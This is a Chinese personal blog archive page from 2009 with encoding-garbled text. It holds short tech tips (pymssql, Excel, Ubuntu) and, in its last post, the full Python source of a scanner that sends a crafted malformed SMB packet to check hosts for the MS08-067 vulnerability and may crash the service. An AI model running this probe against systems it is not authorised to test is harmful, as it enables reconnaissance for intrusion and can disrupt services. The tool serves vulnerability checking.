?!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 分秒必争-2009 February

Python连接MSSqlserver

需要pymssql模块

模块下载地址?a href="http://pymssql.sourceforge.net/">http://pymssql.sourceforge.net/

例子?/p>

import pymssql
con=pymssql.connect(host='127.0.0.1',user='sa',password='',database='dbname')
cur=con.cursor()

cur.execute('select count(*) from bokewu_table')
for i in  cur.fetchall():
    for j in i
        print j #为什么这里用2次for ,是因为能让中文完整的显示,我就是因为这里少一次循环而整了半天不能显示中?br />print cur.fetchall()
cur.close()
con.close()

 

EXCEL不用替换去除vlookup公式留下?N/A

要用到公式中的其?个函?IF 和ISERROR,先说说IF的格?IF(条件,条件为真的?条件为假的?而这里的条件就是ISERROR(VLOOKUP)整句语句就是IF(ISERROR(VLOOKUP),条件为真的?条件为假的?因为用VLOOKUP当筛选的值不存在或者出错时就会显示#N/A,我们就把IF中的条件为真的值设?quot;"也就是为空给个例子先:IF(ISERROR

More...

Ubuntu Server 装图形操作界?/a>

要安装图形操作界面首先得换源,因为默认的源速度实在不行,慢的一塌糊涂首先按?这里的方法找到相对应的源跟距离比较近的源,然后再sudo apt-get update刷新源然后安?X 窗口系统:sudo apt-get install x-window-system-core?安装登录管理器:sudo apt-get install GDM  #还有其它管理器如xdm/kdm 我习惯用

More...

Ubuntu查找源的方法(通杀)

此方法可以通杀所有版?能通过此方法查找任何版本的?只要这个版本已经发布了正式版就能查到,网址当然是官方的网址http://wiki.ubuntu.org.cn/Template:8.10source,这是8.10的源,如果要查?.04的就是这样的地址http://wiki.ubuntu.org.cn/Template:8.04source,说白了就是http://wiki.ubuntu.or

More...

本命年的?/a>

似乎从年头到现在都没怎么顺过,以前过年打牌都不会输,今年来一次输一次,次次输!接下去工作不顺心,连续被训三天,黑锅全部我背,功劳和好处和我一点都没关系,他们还说是不是别人都没加工资就我加了,所以工作这么努力!真他妈的冤枉啊,做人不容易!接下去在淘宝淘了块无线网卡,居然是坏的,郁闷的事多啊,这坏的网卡能检测到无线信号,也能发送信号,就是不能接收信号。我付了钱之后才发现这问题,想找这买家好好骂他一顿,

More...

EXT3无损转EXT4,失败!!

网上有很多EXT3转换成EXT4的文?不管什么语言,操作命令都是一样的,原文如下加上我理解的翻译内容You need to use the tune2fs and fsck tools in the filesystem, and that filesystem needs to be unmounted. Run:你须要在你的文件系统上运用tune2fs和fsck工具,并且必须卸载文件系统,?/p>

More...

修复公司网站漏洞

公司网站频繁被人挂马.那是一个郁闷啊,其实公司网站的漏洞我早发现了,只是反正不是我做?而且也一直没出问?懒的去搞,最近他妈的不知?哪个白痴不停的挂?本来想清了就算了,批量清马后居然还是被挂了,?本来不想出手,但出于无?让老板发现就不好了,肯定是说我工作不?只能修补?本来那站就做的垃?漏洞一大堆.被挂马也是理所当然?分析IIS日志,每天都有各种扫描器扫描公司网?我操,无聊的人?/p>

More...

ms08-067 Py检测源?/a>

这是月简发给我的一个Python版的MS08?67的一个源码,一直放在自己电脑里,因为这个漏洞太恐怖了,所以没放出来,这个脚本用来检测系统是否存在MS08-067漏洞的,现在蠕虫都有了,这个东西也没有多少危险性了,也就放在网上,供大家学习用,源码如?/p>

#!/usr/bin/env python

'''
Name: Microsoft Server Service Remote Path Canonicalization Stack Overflow Vulnerability

Description:
Anonymously check if a target machine is affected by MS08-067 (Vulnerability in Server Service Could Allow Remote Code Execution)

Author: Bernardo Damele A. G. <bernardo.damele@gmail.com>

License: Modified Apache 1.1

Version: 0.4

References:
* BID: 31874
* CVE: 2008-4250
* MSB: MS08-067
* VENDOR: http://blogs.technet.com/swi/archive/2008/10/25/most-common-questions-that-we-ve-been-asked-regarding-ms08-067.aspx
* VENDOR: http://www.microsoft.com/technet/security/advisory/958963.mspx
* MISC: http://www.phreedom.org/blog/2008/decompiling-ms08-067/
* MISC: http://metasploit.com/dev/trac/browser/framework3/trunk/modules/exploits/windows/smb/ms08_067_netapi.rb
* MISC: http://blog.threatexpert.com/2008/10/gimmiva-exploits-zero-day-vulnerability.html
* MISC: http://blogs.securiteam.com/index.php/archives/1150

Tested:
* Windows 2000 Server Service Pack 0
* Windows 2000 Server Service Pack 4 with Update Rollup 1
* Microsoft 2003 Standard Service Pack 1
* Microsoft 2003 Standard Service Pack 2 Full Patched at 22nd of October 2008, before MS08-067 patch was released

Notes:
* This check might crash the SRVSVC process on Microsoft XP Service Pack 2 and 3
'''


import select
import socket
import struct
import sys
import traceback

from optparse import OptionError
from optparse import OptionParser
from threading import Thread

try:
    from impacket import smb
    from impacket import uuid
    from impacket.dcerpc import dcerpc
    from impacket.dcerpc import transport
except ImportError, _:
    print 'ERROR: this tool requires python-impacket library to be installed, get it '
    print 'from http://oss.coresecurity.com/projects/impacket.html or apt-get install python-impacket'
    sys.exit(1)


CMDLINE = False
SILENT  = False


class connectionException(Exception):
    pass


class MS08_067(Thread):
    def __init__(self, target, port=445):
        super(MS08_067, self).__init__()

        self.__port   = port
        self.target   = target
        self.status   = 'unknown'


    def __checkPort(self):
        '''
        Open connection to TCP port to check if it is open
        '''

        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(1)
            s.connect((self.target, self.__port))
            s.close()

        except socket.timeout, _:
            raise connectionException, 'connection timeout'

        except socket.error, _:
            raise connectionException, 'connection refused'


    def __connect(self):
        '''
        SMB connect to the Computer Browser service named pipe
        Reference: http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_browser.html
        '''

        try:
            self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target)
            self.__trans.connect()

        except smb.SessionError, _:
            raise connectionException, 'access denied (RestrictAnonymous is probably set to 2)'

        except:
            #raise Exception, 'unhandled exception (%s)' % traceback.format_exc()
            raise connectionException, 'unexpected exception'


    def __bind(self):
        '''
        DCERPC bind to SRVSVC (Server Service) interface
        Reference: http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_srvsvc.html
        '''

        try:
            self.__dce = self.__trans.DCERPC_class(self.__trans)

            self.__dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))

        except socket.error, _:
            raise connectionException, 'unable to bind to SRVSVC interface'

        except:
            #raise Exception, 'unhandled exception (%s)' % traceback.format_exc()
            raise connectionException, 'unexpected exception'


    def __forgePacket(self):
        '''
        Forge the malicious NetprPathCompare packet
        '''

        self.__request  = struct.pack('<HHHI', 0, 2, 1, 0)       # Point to Server Unc
        self.__request += struct.pack('<HII', 0, 1, 0)           #
        self.__request += struct.pack('<I', 46)                  # Max Count
        self.__request += struct.pack('<I', 0)                   # Offset
        self.__request += struct.pack('<I', 46)                  # Actual Count
        self.__request += struct.pack('2s78s', '\\', 'A\x00'*39) # Path1
        self.__request += struct.pack('2sHH', '\\', 46, 46)      #
        self.__request += struct.pack('2s4s', '\\', 'n')         #
        self.__request += struct.pack('<I', 3)                   # Max Count
        self.__request += struct.pack('<I', 0)                   # Offset
        self.__request += struct.pack('<I', 3)                   # Actual Count
        self.__request += struct.pack('2s4s', '\\', 'n')         # Path2
        self.__request += struct.pack('<HI', 0, 1)               # Path Type
        self.__request += struct.pack('<I', 0)                   # Path Flags


    def __compare(self):
        '''
        Compare NetprPathCompare response field 'Windows Error' with the
        expected value (WERR_OK) to confirm the target is vulnerable
        '''

        self.__vulnerable = struct.pack('L', 0)

        # The target is vulnerable if the NetprPathCompare response field
        # 'Windows Error' is WERR_OK (0x00000000)
        if self.__response == self.__vulnerable:
            self.status = 'VULNERABLE'
        else:
            self.status = 'not vulnerable'

        self.result()


    def result(self):
        if CMDLINE == True and self.status in ('VULNERABLE', 'not vulnerable'):
           print '%s: %s' % (self.target, self.status)
        elif CMDLINE == True and SILENT != True:
           print '%s: %s' % (self.target, self.status)


    def run(self):
        try:
            self.__checkPort()
            self.__connect()
            self.__bind()
        except connectionException, e:
            self.status = e
            self.result()
            return None

        # Forge and send the NetprPathCompare operation malicious packet
        self.__forgePacket()
        self.__dce.call(0x20, self.__request)

        # Get back the NetprPathCompare response and check if it is vulnerable
        self.__response = self.__dce.recv()
        self.__compare()


if __name__ == '__main__':
    CMDLINE = True

    usage = '%s [-d] {-t <target>|-l <iplist.txt>}' % sys.argv[0]
    parser  = OptionParser(usage=usage, version='0.4')
    targets = set()

    # Create command line options
    try:
        parser.add_option('-d', dest='descr', action='store_true', help='show description and exit')

        parser.add_option('-t', dest='target', help='target IP or hostname')

        parser.add_option('-l', dest='list', help='text file with list of targets')

        parser.add_option('-s', dest='silent', action='store_true', help='be silent')

        (args, _) = parser.parse_args()

        if not args.descr and not args.target and not args.list:
            print usage
            sys.exit(1)

    except (OptionError, TypeError), e:
        parser.error(e)

    descr  = args.descr
    target = args.target
    tList  = args.list

    SILENT = args.silent

    if descr:
        print __doc__
        sys.exit(0)

    if tList:
        try:
            fd = open(tList, 'r')
        except IOError:
            print 'ERROR: unable to read targets list file \'%s\'' % tList
            sys.exit(1)

        for line in fd.readlines():
            target = line.replace('\n', '').replace('\r', '')
            targets.add(target)
    else:
        targets.add(target)

    if not targets:
        print 'ERROR: no targets specified'
        sys.exit(1)

    targets = list(targets)
    targets.sort()

    for target in targets:
        current = MS08_067(target)
        current.start()

分页:[«]1[»]